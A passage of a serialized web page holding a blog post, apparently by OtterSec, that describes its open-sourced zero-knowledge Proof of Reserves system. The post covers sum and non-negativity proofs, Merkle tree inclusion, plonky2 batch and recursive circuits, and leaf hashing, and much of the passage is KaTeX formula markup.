cryptographically:",{"type":23,"tag":84,"props":91846,"children":91847},{},[91848,91865],{"type":23,"tag":88,"props":91849,"children":91850},{},[91851,91856,91858,91864],{"type":23,"tag":721,"props":91852,"children":91853},{},[91854],{"type":28,"value":91855},"Sum proof",{"type":28,"value":91857},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":94,"props":91859,"children":91861},{"className":91860},[],[91862],{"type":28,"value":91863},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":28,"value":419},{"type":23,"tag":88,"props":91866,"children":91867},{},[91868,91873,91875,91880],{"type":23,"tag":721,"props":91869,"children":91870},{},[91871],{"type":28,"value":91872},"Non-negativity",{"type":28,"value":91874},": All users have a ",{"type":23,"tag":721,"props":91876,"children":91877},{},[91878],{"type":28,"value":91879},"positive",{"type":28,"value":91881}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":24,"props":91883,"children":91884},{},[91885],{"type":28,"value":91886},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":61,"props":91888,"children":91890},{"id":91889},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[91891],{"type":28,"value":91892},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":24,"props":91894,"children":91895},{},[91896],{"type":28,"value":91897},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":24,"props":91899,"children":91900},{},[91901],{"type":23,"tag":197,"props":91902,"children":91904},{"alt":49829,"src":91903},"/posts/por/merkle-tree.png",[],{"type":23,"tag":24,"props":91906,"children":91907},{},[91908],{"type":28,"value":91909},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":84,"props":91911,"children":91912},{},[91913,91926,91931],{"type":23,"tag":88,"props":91914,"children":91915},{},[91916,91918,91924],{"type":28,"value":91917},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":94,"props":91919,"children":91921},{"className":91920},[],[91922],{"type":28,"value":91923},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":28,"value":91925},");",{"type":23,"tag":88,"props":91927,"children":91928},{},[91929],{"type":28,"value":91930},"The Merkle tree is made public;",{"type":23,"tag":88,"props":91932,"children":91933},{},[91934],{"type":28,"value":91935},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":24,"props":91937,"children":91938},{},[91939],{"type":28,"value":91940},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":61,"props":91942,"children":91944},{"id":91943},"ottersec-porv2",[91945],{"type":28,"value":91946},"OtterSec PoRv2",{"type":23,"tag":24,"props":91948,"children":91949},{},[91950,91956,91958,91965],{"type":23,"tag":31,"props":91951,"children":91953},{"href":91787,"rel":91952},[35],[91954],{"type":28,"value":91955},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":28,"value":91957},", which uses the ",{"type":23,"tag":31,"props":91959,"children":91962},{"href":91960,"rel":91961},"https://github.com/0xPolygonZero/plonky2",[35],[91963],{"type":28,"value":91964},"plonky2 ZK algorithm",{"type":28,"value":91966}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":24,"props":91968,"children":91969},{},[91970,91972,91979],{"type":28,"value":91971},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":31,"props":91973,"children":91976},{"href":91974,"rel":91975},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[35],[91977],{"type":28,"value":91978},"Vitalik's proof of solvency",{"type":28,"value":91980},", which was not optimal.",{"type":23,"tag":24,"props":91982,"children":91983},{},[91984],{"type":23,"tag":721,"props":91985,"children":91986},{},[91987],{"type":28,"value":91988},"Non-negativity Proof",{"type":23,"tag":24,"props":91990,"children":91991},{},[91992],{"type":28,"value":91993},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":24,"props":91995,"children":91996},{},[91997],{"type":28,"value":91998},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":24,"props":92000,"children":92001},{},[92002],{"type":23,"tag":721,"props":92003,"children":92004},{},[92005],{"type":28,"value":92006},"Sum Proof",{"type":23,"tag":24,"props":92008,"children":92009},{},[92010,92012,92018],{"type":28,"value":92011},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":94,"props":92013,"children":92015},{"className":92014},[],[92016],{"type":28,"value":92017},"BTC final: user1_btc + user2_btc ...",{"type":28,"value":92019},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":837,"props":92021,"children":92023},{"id":92022},"what-are-the-ottersec-porv2-key-points",[92024],{"type":28,"value":92025},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":84,"props":92027,"children":92028},{},[92029,92039,92057,92067,92098],{"type":23,"tag":88,"props":92030,"children":92031},{},[92032,92037],{"type":23,"tag":721,"props":92033,"children":92034},{},[92035],{"type":28,"value":92036},"Transparency",{"type":28,"value":92038},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":88,"props":92040,"children":92041},{},[92042,92047,92049,92056],{"type":23,"tag":721,"props":92043,"children":92044},{},[92045],{"type":28,"value":92046},"Time-efficiency",{"type":28,"value":92048},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":31,"props":92050,"children":92053},{"href":92051,"rel":92052},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[35],[92054],{"type":28,"value":92055},"Check our benchmark",{"type":28,"value":282},{"type":23,"tag":88,"props":92058,"children":92059},{},[92060,92065],{"type":23,"tag":721,"props":92061,"children":92062},{},[92063],{"type":28,"value":92064},"Memory-efficiency",{"type":28,"value":92066},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":88,"props":92068,"children":92069},{},[92070,92075,92077,92082,92084,92089,92091,92096],{"type":23,"tag":721,"props":92071,"children":92072},{},[92073],{"type":28,"value":92074},"Small-proofs",{"type":28,"value":92076},": We were able to reduce the final proof to less than ",{"type":23,"tag":721,"props":92078,"children":92079},{},[92080],{"type":28,"value":92081},"500KB",{"type":28,"value":92083}," and each inclusion proof to ",{"type":23,"tag":721,"props":92085,"children":92086},{},[92087],{"type":28,"value":92088},"~52KB",{"type":28,"value":92090},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":721,"props":92092,"children":92093},{},[92094],{"type":28,"value":92095},"200MB",{"type":28,"value":92097}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":88,"props":92099,"children":92100},{},[92101,92106],{"type":23,"tag":721,"props":92102,"children":92103},{},[92104],{"type":28,"value":92105},"Privacy",{"type":28,"value":92107},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":61,"props":92109,"children":92111},{"id":92110},"zk-circuits",[92112],{"type":28,"value":92113},"ZK Circuits",{"type":23,"tag":24,"props":92115,"children":92116},{},[92117],{"type":28,"value":92118},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":84,"props":92120,"children":92121},{},[92122,92127],{"type":23,"tag":88,"props":92123,"children":92124},{},[92125],{"type":28,"value":92126},"Batch circuit",{"type":23,"tag":88,"props":92128,"children":92129},{},[92130],{"type":28,"value":92131},"Recursive circuit",{"type":23,"tag":24,"props":92133,"children":92134},{},[92135],{"type":28,"value":92136},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":24,"props":92138,"children":92139},{},[92140],{"type":23,"tag":197,"props":92141,"children":92143},{"alt":49829,"src":92142},"/posts/por/batch-circuit.png",[],{"type":23,"tag":2186,"props":92145,"children":92146},{},[92147],{"type":23,"tag":24,"props":92148,"children":92149},{},[92150,92152,92158,92160,92166],{"type":28,"value":92151},"Note: We are using 512 as ",{"type":23,"tag":94,"props":92153,"children":92155},{"className":92154},[],[92156],{"type":28,"value":92157},"BATCH_SIZE",{"type":28,"value":92159}," and 8 as ",{"type":23,"tag":94,"props":92161,"children":92163},{"className":92162},[],[92164],{"type":28,"value":92165},"RECURSIVE_SIZE",{"type":28,"value":92167}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":2186,"props":92169,"children":92170},{},[92171],{"type":23,"tag":24,"props":92172,"children":92173},{},[92174],{"type":28,"value":92175},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":24,"props":92177,"children":92178},{},[92179],{"type":28,"value":92180},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":837,"props":92182,"children":92184},{"id":92183},"leaf-nodes",[92185],{"type":28,"value":92186},"Leaf Nodes",{"type":23,"tag":24,"props":92188,"children":92189},{},[92190],{"type":28,"value":92191},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":23,"tag":24,"props":92193,"children":92194},{},[92195],{"type":23,"tag":94,"props":92196,"children":92198},{"className":92197},[3237,3238],[92199],{"type":23,"tag":314,"props":92200,"children":92202},{"className":92201},[3243],[92203],{"type":23,"tag":314,"props":92204,"children":92206},{"className":92205,"ariaHidden":1481},[3248],[92207,92234],{"type":23,"tag":314,"props":92208,"children":92210},{"className":92209},[3253],[92211,92216,92221,92225,92230],{"type":23,"tag":314,"props":92212,"children":92215},{"className":92213,"style":92214},[3258],"height:0.6944em;",[],{"type":23,"tag":314,"props":92217,"children":92219},{"className":92218},[3264,20825],[92220],{"type":28,"value":83597},{"type":23,"tag":314,"props":92222,"children":92224},{"className":92223,"style":3442},[3344],[],{"type":23,"tag":314,"props":92226,"children":92228},{"className":92227},[3447],[92229],{"type":28,"value":1102},{"type":23,"tag":314,"props":92231,"children":92233},{"className":92232,"style":3442},[3344],[],{"type":23,"tag":314,"props":92235,"children":92237},{"className":92236},[3253],[92238,92243,92248,92254,92259,92264,92270,92275,92280,92285,92291,92296,92302,92308,92315,92321,92327,92387,92392,92398,92403,92408,92413,92418,92423,92428,92433,92438,92443,92500,92505,92510,92515,92520,92525,92530,92537,92542,92548,92553,92559,92565,92570,92575,92580,92585,92590,92595,92600,92605,92610,92615,92620,92625,92630,92635],{"type":23,"tag":314,"props":92239,"children":92242},{"className":92240,"style":92241},[3258],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":314,"props":92244,"children":92246},{"className":92245,"style":20826},[3264,20825],[92247],{"type":28,"value":20829},{"type":23,"tag":314,"props":92249,"children":92251},{"className":92250},[3264,20825],[92252],{"type":28,"value":92253},"ose",{"type":23,"tag":314,"props":92255,"children":92257},{"className":92256},[3264,20825],[92258],{"type":28,"value":2993},{"type":23,"tag":314,"props":92260,"children":92262},{"className":92261},[3264,20825],[92263],{"type":28,"value":69817},{"type":23,"tag":314,"props":92265,"children":92267},{"className":92266},[3264,20825],[92268],{"type":28,"value":92269},"o",{"type":23,"tag":314,"props":92271,"children":92273},{"className":92272},[3264,20825],[92274],{"type":28,"value":55654},{"type":23,"tag":314,"props":92276,"children":92278},{"className":92277},[20954],[92279],{"type":28,"value":341},{"type":23,"tag":314,"props":92281,"children":92283},{"className":92282},[3264,20825],[92284],{"type":28,"value":31},{"type":23,"tag":314,"props":92286,"children":92288},{"className":92287},[3264,20825],[92289],{"type":28,"value":92290},"sse",{"type":23,"tag":314,"props":92292,"children":92294},{"className":92293},[3264,20825],[92295],{"type":28,"value":20967},{"type":23,"tag":314,"props":92297,"children":92300},{"className":92298,"style":92299},[3264],"margin-right:0.02778em;",[92301],{"type":28,"value":2338},{"type":23,"tag":314,"props":92303,"children":92305},{"className":92304},[3264,20825],[92306],{"type":28,"value":92307},"ba",{"type":23,"tag":314,"props":92309,"children":92312},{"className":92310,"style":92311},[3264,20825],"margin-right:0.01968em;",[92313],{"type":28,"value":92314},"l",{"type":23,"tag":314,"props":92316,"children":92318},{"className":92317},[3264,20825],[92319],{"type":28,"value":92320},"an",{"type":23,"tag":314,"props":92322,"children":92324},{"className":92323},[3264,20825],[92325],{"type":28,"value":92326},"ce",{"type":23,"tag":314,"props":92328,"children":92330},{"className":92329},[3264],[92331,92336],{"type":23,"tag":314,"props":92332,"children":92334},{"className":92333},[3264,20825],[92335],{"type":28,"value":9900},{"type":23,"tag":314,"props":92337,"children":92339},{"className":92338},[3280],[92340],{"type":23,"tag":314,"props":92341,"children":92343},{"className":92342},[3285,20879],[92344,92375],{"type":23,"tag":314,"props":92345,"children":92347},{"className":92346},[3290],[92348,92370],{"type":23,"tag":314,"props":92349,"children":92352},{"className":92350,"style":92351},[3295],"height:0.3011em;",[92353],{"type":23,"tag":314,"props":92354,"children":92356},{"style":92355},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[92357,92361],{"type":23,"tag":314,"props":92358,"children":92360},{"className":92359,"style":3305},[3304],[],{"type":23,"tag":314,"props":92362,"children":92364},{"className":92363},[3310,3311,3312,3313],[92365],{"type":23,"tag":314,"props":92366,"children":92368},{"className":92367},[3264,3313],[92369],{"type":28,"value":1600},{"type":23,"tag":314,"props":92371,"children":92373},{"className":92372},[20982],[92374],{"type":28,"value":20985},{"type":23,"tag":314,"props":92376,"children":92378},{"className":92377},[3290],[92379],{"type":23,"tag":314,"props":92380,"children":92383},{"className":92381,"style":92382},[3295],"height:0.15em;",[92384],{"type":23,"tag":314,"props":92385,"children":92386},{},[],{"type":23,"tag":314,"props":92388,"children":92390},{"className":92389},[3344],[92391],{"type":28,"value":20926},{"type":23,"tag":314,"props":92393,"children":92395},{"className":92394},[3264],[92396],{"type":28,"value":92397},"∣∣",{"type":23,"tag":314,"props":92399,"children":92401},{"className":92400},[3344],[92402],{"type":28,"value":20926},{"type":23,"tag":314,"props":92404,"children":92406},{"className":92405},[3264,20825],[92407],{"type":28,"value":31},{"type":23,"tag":314,"props":92409,"children":92411},{"className":92410},[3264,20825],[92412],{"type":28,"value":92290},{"type":23,"tag":314,"props":92414,"children":92416},{"className":92415},[3264,20825],[92417],{"type":28,"value":20967},{"type":23,"tag":314,"props":92419,"children":92421},{"className":92420,"style":92299},[3264],[92422],{"type":28,"value":2338},{"type":23,"tag":314,"props":92424,"children":92426},{"className":92425},[3264,20825],[92427],{"type":28,"value":92307},{"type":23,"tag":314,"props":92429,"children":92431},{"className":92430,"style":92311},[3264,20825],[92432],{"type":28,"value":92314},{"type":23,"tag":314,"props":92434,"children":92436},{"className":92435},[3264,20825],[92437],{"type":28,"value":92320},{"type":23,"tag":314,"props":92439,"children":92441},{"className":92440},[3264,20825],[92442],{"type":28,"value":92326},{"type":23,"tag":314,"props":92444,"children":92446},{"className":92445},[3264],[92447,92452],{"type":23,"tag":314,"props":92448,"children":92450},{"className":92449},[3264,20825],[92451],{"type":28,"value":9900},{"type":23,"tag":314,"props":92453,"children":92455},{"className":92454},[3280],[92456],{"type":23,"tag":314,"props":92457,"children":92459},{"className":92458},[3285,20879],[92460,92489],{"type":23,"tag":314,"props":92461,"children":92463},{"className":92462},[3290],[92464,92484],{"type":23,"tag":314,"props":92465,"children":92467},{"className":92466,"style":92351},[3295],[92468],{"type":23,"tag":314,"props":92469,"children":92470},{"style":92355},[92471,92475],{"type":23,"tag":314,"props":92472,"children":92474},{"className":92473,"style":3305},[3304],[],{"type":23,"tag":314,"props":92476,"children":92478},{"className":92477},[3310,3311,3312,3313],[92479],{"type":23,"tag":314,"props":92480,"children":92482},{"className":92481},[3264,3313],[92483],{"type":28,"value":3267},{"type":23,"tag":314,"props":92485,"children":92487},{"className":92486},[20982],[92488],{"type":28,"value":20985},{"type":23,"tag":314,"props":92490,"children":92492},{"className":92491},[3290],[92493],{"type":23,"tag":314,"props":92494,"children":92496},{"className":92495,"style":92382},[3295],[92497],{"type":23,"tag":314,"props":92498,"children":92499},{},[],{"type":23,"tag":314,"props":92501,"children":92503},{"className":92502},[3344],[92504],{"type":28,"value":20926},{"type":23,"tag":314,"props":92506,"children":92508},{"className":92507},[3264],[92509],{"type":28,"value":8840},{"type":23,"tag":314,"props":92511,"children":92513},{"className":92512},[3344],[92514],{"type":28,"value":20926},{"type":23,"tag":314,"props":92516,"children":92518},{"className":92517},[3264],[92519],{"type":28,"value":92397},{"type":23,"tag":314,"props":92521,"children":92523},{"className":92522},[3344],[92524],{"type":28,"value":20926},{"type":23,"tag":314,"props":92526,"children":92528},{"className":92527,"style":21284},[3264,20825],[92529],{"type":28,"value":21287},{"type":23,"tag":314,"props":92531,"children":92534},{"className":92532,"style":92533},[3264,20825],"margin-right:0.08125em;",[92535],{"type":28,"value":92536},"H",{"type":23,"tag":314,"props":92538,"children":92540},{"className":92539},[3264,20825],[92541],{"type":28,"value":76019},{"type":23,"tag":314,"props":92543,"children":92545},{"className":92544},[3264],[92546],{"type":28,"value":92547},"256",{"type":23,"tag":314,"props":92549,"children":92551},{"className":92550},[20954],[92552],{"type":28,"value":341},{"type":23,"tag":314,"props":92554,"children":92556},{"className":92555},[3264,20825],[92557],{"type":28,"value":92558},"u",{"type":23,"tag":314,"props":92560,"children":92562},{"className":92561,"style":92299},[3264,20825],[92563],{"type":28,"value":92564},"ser",{"type":23,"tag":314,"props":92566,"children":92568},{"className":92567,"style":92299},[3264],[92569],{"type":28,"value":2338},{"type":23,"tag":314,"props":92571,"children":92573},{"className":92572},[3264,20825],[92574],{"type":28,"value":2993},{"type":23,"tag":314,"props":92576,"children":92578},{"className":92577},[3264,20825],[92579],{"type":28,"value":69817},{"type":23,"tag":314,"props":92581,"children":92583},{"className":92582},[20976],[92584],{"type":28,"value":431},{"type":23,"tag":314,"props":92586,"children":92588},{"className":92587},[3344],[92589],{"type":28,"value":20926},{"type":23,"tag":314,"props":92591,"children":92593},{"className":92592},[3264],[92594],{"type":28,"value":92397},{"type":23,"tag":314,"props":92596,"children":92598},{"className":92597},[3344],[92599],{"type":28,"value":20926},{"type":23,"tag":314,"props":92601,"children":92603},{"className":92602},[3264,20825],[92604],{"type":28,"value":92558},{"type":23,"tag":314,"props":92606,"children":92608},{"className":92607,"style":92299},[3264,20825],[92609],{"type":28,"value":92564},{"type":23,"tag":314,"props":92611,"children":92613},{"className":92612,"style":92299},[3264],[92614],{"type":28,"value":2338},{"type":23,"tag":314,"props":92616,"children":92618},{"className":92617},[3264,20825],[92619],{"type":28,"value":55654},{"type":23,"tag":314,"props":92621,"children":92623},{"className":92622},[3264,20825],[92624],{"type":28,"value":92269},{"type":23,"tag":314,"props":92626,"children":92628},{"className":92627},[3264,20825],[92629],{"type":28,"value":55654},{"type":23,"tag":314,"props":92631,"children":92633},{"className":92632},[3264,20825],[92634],{"type":28,"value":92326},{"type":23,"tag":314,"props":92636,"children":92638},{"className":92637},[20976],[92639],{"type":28,"value":431},{"type":23,"tag":24,"props":92641,"children":92642},{},[92643,92645,92651],{"type":28,"value":92644},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":94,"props":92646,"children":92648},{"className":92647},[],[92649],{"type":28,"value":92650},"uuid",{"type":28,"value":92652},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":837,"props":92654,"children":92656},{"id":92655},"batch-circuit",[92657],{"type":28,"value":92658},"Batch Circuit",{"type":23,"tag":24,"props":92660,"children":92661},{},[92662],{"type":28,"value":92663},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":24,"props":92665,"children":92666},{},[92667],{"type":23,"tag":721,"props":92668,"children":92669},{},[92670],{"type":28,"value":92671},"Public Inputs",{"type":23,"tag":127,"props":92673,"children":92674},{},[92675,92680,92685],{"type":23,"tag":88,"props":92676,"children":92677},{},[92678],{"type":28,"value":92679},"Asset prices in USD",{"type":23,"tag":88,"props":92681,"children":92682},{},[92683],{"type":28,"value":92684},"Merkle tree hash",{"type":23,"tag":88,"props":92686,"children":92687},{},[92688],{"type":28,"value":92689},"Summed asset balances",{"type":23,"tag":24,"props":92691,"children":92692},{},[92693],{"type":23,"tag":721,"props":92694,"children":92695},{},[92696],{"type":28,"value":92697},"Private Inputs",{"type":23,"tag":127,"props":92699,"children":92700},{},[92701,92706],{"type":23,"tag":88,"props":92702,"children":92703},{},[92704],{"type":28,"value":92705},"Users balances",{"type":23,"tag":88,"props":92707,"children":92708},{},[92709],{"type":28,"value":92710},"Merkle tree leaves hashes",{"type":23,"tag":24,"props":92712,"children":92713},{},[92714],{"type":23,"tag":721,"props":92715,"children":92716},{},[92717],{"type":28,"value":92718},"Constraints",{"type":23,"tag":127,"props":92720,"children":92721},{},[92722,93175,93343,93690,94088],{"type":23,"tag":88,"props":92723,"children":92724},{},[92725],{"type":23,"tag":94,"props":92726,"children":92728},{"className":92727},[3237,3238],[92729],{"type":23,"tag":314,"props":92730,"children":92732},{"className":92731},[3243],[92733],{"type":23,"tag":314,"props":92734,"children":92736},{"className":92735,"ariaHidden":1481},[3248],[92737,92876,93080],{"type":23,"tag":314,"props":92738,"children":92740},{"className":92739},[3253],[92741,92746,92751,92757,92762,92767,92772,92777,92782,92789,92794,92799,92804,92863,92867,92872],{"type":23,"tag":314,"props":92742,"children":92745},{"className":92743,"style":92744},[3258],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":314,"props":92747,"children":92749},{"className":92748},[3264,20825],[92750],{"type":28,"value":31},{"type":23,"tag":314,"props":92752,"children":92754},{"className":92753},[3264,20825],[92755],{"type":28,"value":92756},"cco",{"type":23,"tag":314,"props":92758,"children":92760},{"className":92759},[3264,20825],[92761],{"type":28,"value":92558},{"type":23,"tag":314,"props":92763,"children":92765},{"className":92764},[3264,20825],[92766],{"type":28,"value":55654},{"type":23,"tag":314,"props":92768,"children":92770},{"className":92769},[3264,20825],[92771],{"type":28,"value":20967},{"type":23,"tag":314,"props":92773,"children":92775},{"className":92774,"style":92299},[3264],[92776],{"type":28,"value":2338},{"type":23,"tag":314,"props":92778,"children":92780},{"className":92779},[3264,20825],[92781],{"type":28,"value":50705},{"type":23,"tag":314,"props":92783,"children":92786},{"className":92784,"style":92785},[3264,20825],"margin-right:0.03588em;",[92787],{"type":28,"value":92788},"q",{"type":23,"tag":314,"props":92790,"children":92792},{"className":92791},[3264,20825],[92793],{"type":28,"value":92558},{"type":23,"tag":314,"props":92795,"children":92797},{"className":92796},[3264,20825],[92798],{"type":28,"value":2993},{"type":23,"tag":314,"props":92800,"children":92802},{"className":92801},[3264,20825],[92803],{"type":28,"value":20967},{"type":23,"tag":314,"props":92805,"children":92807},{"className":92806},[3264],[92808,92813],{"type":23,"tag":314,"props":92809,"children":92811},{"className":92810,"style":92785},[3264,20825],[92812],{"type":28,"value":2369},{"type":23,"tag":314,"props":92814,"children":92816},{"className":92815},[3280],[92817],{"type":23,"tag":314,"props":92818,"children":92820},{"className":92819},[3285,20879],[92821,92852],{"type":23,"tag":314,"props":92822,"children":92824},{"className":92823},[3290],[92825,92847],{"type":23,"tag":314,"props":92826,"children":92829},{"className":92827,"style":92828},[3295],"height:0.3117em;",[92830],{"type":23,"tag":314,"props":92831,"children":92833},{"style":92832},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[92834,92838],{"type":23,"tag":314,"props":92835,"children":92837},{"className":92836,"style":3305},[3304],[],{"type":23,"tag":314,"props":92839,"children":92841},{"className":92840},[3310,3311,3312,3313],[92842],{"type":23,"tag":314,"props":92843,"children":92845},{"className":92844},[3264,20825,3313],[92846],{"type":28,"value":2993},{"type":23,"tag":314,"props":92848,"children":92850},{"className":92849},[20982],[92851],{"type":28,"value":20985},{"type":23,"tag":314,"props":92853,"children":92855},{"className":92854},[3290],[92856],{"type":23,"tag":314,"props":92857,"children":92859},{"className":92858,"style":92382},[3295],[92860],{"type":23,"tag":314,"props":92861,"children":92862},{},[],{"type":23,"tag":314,"props":92864,"children":92866},{"className":92865,"style":3442},[3344],[],{"type":23,"tag":314,"props":92868,"children":92870},{"className":92869},[3447],[92871],{"type":28,"value":7828},{"type":23,"tag":314,"props":92873,"children":92875},{"className":92874,"style":3442},[3344],[],{"type":23,"tag":314,"props":92877,"children":92879},{"className":92878},[3253],[92880,92884,92890,92895,92900,92905,92910,92915,92920,92925,92930,92935,92940,92945,92950,92955,92960,92965,93022,93027,93032,93037,93042,93047,93052,93057,93062,93067,93071,93076],{"type":23,"tag":314,"props":92881,"children":92883},{"className":92882,"style":92241},[3258],[],{"type":23,"tag":314,"props":92885,"children":92887},{"className":92886},[3264],[92888],{"type":28,"value":92889},"Σ",{"type":23,"tag":314,"props":92891,"children":92893},{"className":92892},[3344],[92894],{"type":28,"value":20926},{"type":23,"tag":314,"props":92896,"children":92898},{"className":92897},[3264,20825],[92899],{"type":28,"value":31},{"type":23,"tag":314,"props":92901,"children":92903},{"className":92902},[3264,20825],[92904],{"type":28,"value":92756},{"type":23,"tag":314,"props":92906,"children":92908},{"className":92907},[3264,20825],[92909],{"type":28,"value":92558},{"type":23,"tag":314,"props":92911,"children":92913},{"className":92912},[3264,20825],[92914],{"type":28,"value":55654},{"type":23,"tag":314,"props":92916,"children":92918},{"className":92917},[3264,20825],[92919],{"type":28,"value":20967},{"type":23,"tag":314,"props":92921,"children":92923},{"className":92922,"style":92299},[3264],[92924],{"type":28,"value":2338},{"type":23,"tag":314,"props":92926,"children":92928},{"className":92927},[3264,20825],[92929],{"type":28,"value":31},{"type":23,"tag":314,"props":92931,"children":92933},{"className":92932},[3264,20825],[92934],{"type":28,"value":92290},{"type":23,"tag":314,"props":92936,"children":92938},{"className":92937},[3264,20825],[92939],{"type":28,"value":20967},{"type":23,"tag":314,"props":92941,"children":92943},{"className":92942,"style":92299},[3264],[92944],{"type":28,"value":2338},{"type":23,"tag":314,"props":92946,"children":92948},{"className":92947},[3264,20825],[92949],{"type":28,"value":92307},{"type":23,"tag":314,"props":92951,"children":92953},{"className":92952,"style":92311},[3264,20825],[92954],{"type":28,"value":92314},{"type":23,"tag":314,"props":92956,"children":92958},{"className":92957},[3264,20825],[92959],{"type":28,"value":92320},{"type":23,"tag":314,"props":92961,"children":92963},{"className":92962},[3264,20825],[92964],{"type":28,"value":92326},{"type":23,"tag":314,"props":92966,"children":92968},{"className":92967},[3264],[92969,92974],{"type":23,"tag":314,"props":92970,"children":92972},{"className":92971},[3264,20825],[92973],{"type":28,"value":9900},{"type":23,"tag":314,"props":92975,"children":92977},{"className":92976},[3280],[92978],{"type":23,"tag":314,"props":92979,"children":92981},{"className":92980},[3285,20879],[92982,93011],{"type":23,"tag":314,"props":92983,"children":92985},{"className":92984},[3290],[92986,93006],{"type":23,"tag":314,"props":92987,"children":92989},{"className":92988,"style":92828},[3295],[92990],{"type":23,"tag":314,"props":92991,"children":92992},{"style":92355},[92993,92997],{"type":23,"tag":314,"props":92994,"children":92996},{"className":92995,"style":3305},[3304],[],{"type":23,"tag":314,"props":92998,"children":93000},{"className":92999},[3310,3311,3312,3313],[93001],{"type":23,"tag":314,"props":93002,"children":93004},{"className":93003},[3264,20825,3313],[93005],{"type":28,"value":2993},{"type":23,"tag":314,"props":93007,"children":93009},{"className":93008},[20982],[93010],{"type":28,"value":20985},{"type":23,"tag":314,"props":93012,"children":93014},{"className":93013},[3290],[93015],{"type":23,"tag":314,"props":93016,"children":93018},{"className":93017,"style":92382},[3295],[93019],{"type":23,"tag":314,"props":93020,"children":93021},{},[],{"type":23,"tag":314,"props":93023,"children":93025},{"className":93024},[20954],[93026],{"type":28,"value":1312},{"type":23,"tag":314,"props":93028,"children":93030},{"className":93029},[3264,20825],[93031],{"type":28,"value":31},{"type":23,"tag":314,"props":93033,"children":93035},{"className":93034},[3264,20825],[93036],{"type":28,"value":92290},{"type":23,"tag":314,"props":93038,"children":93040},{"className":93039},[3264,20825],[93041],{"type":28,"value":20967},{"type":23,"tag":314,"props":93043,"children":93045},{"className":93044,"style":92299},[3264],[93046],{"type":28,"value":2338},{"type":23,"tag":314,"props":93048,"children":93050},{"className":93049},[3264,20825],[93051],{"type":28,"value":55654},{"type":23,"tag":314,"props":93053,"children":93055},{"className":93054},[3264,20825],[93056],{"type":28,"value":92558},{"type":23,"tag":314,"props":93058,"children":93060},{"className":93059},[3264,20825],[93061],{"type":28,"value":50384},{"type":23,"tag":314,"props":93063,"children":93065},{"className":93064},[20976],[93066],{"type":28,"value":14653},{"type":23,"tag":314,"props":93068,"children":93070},{"className":93069,"style":3345},[3344],[],{"type":23,"tag":314,"props":93072,"children":93074},{"className":93073},[3350],[93075],{"type":28,"value":3353},{"type":23,"tag":314,"props":93077,"children":93079},{"className":93078,"style":3345},[3344],[],{"type":23,"tag":314,"props":93081,"children":93083},{"className":93082},[3253],[93084,93088,93093,93098,93103,93108,93113,93119,93124,93130,93135,93140,93145,93150,93155,93160,93165,93170],{"type":23,"tag":314,"props":93085,"children":93087},{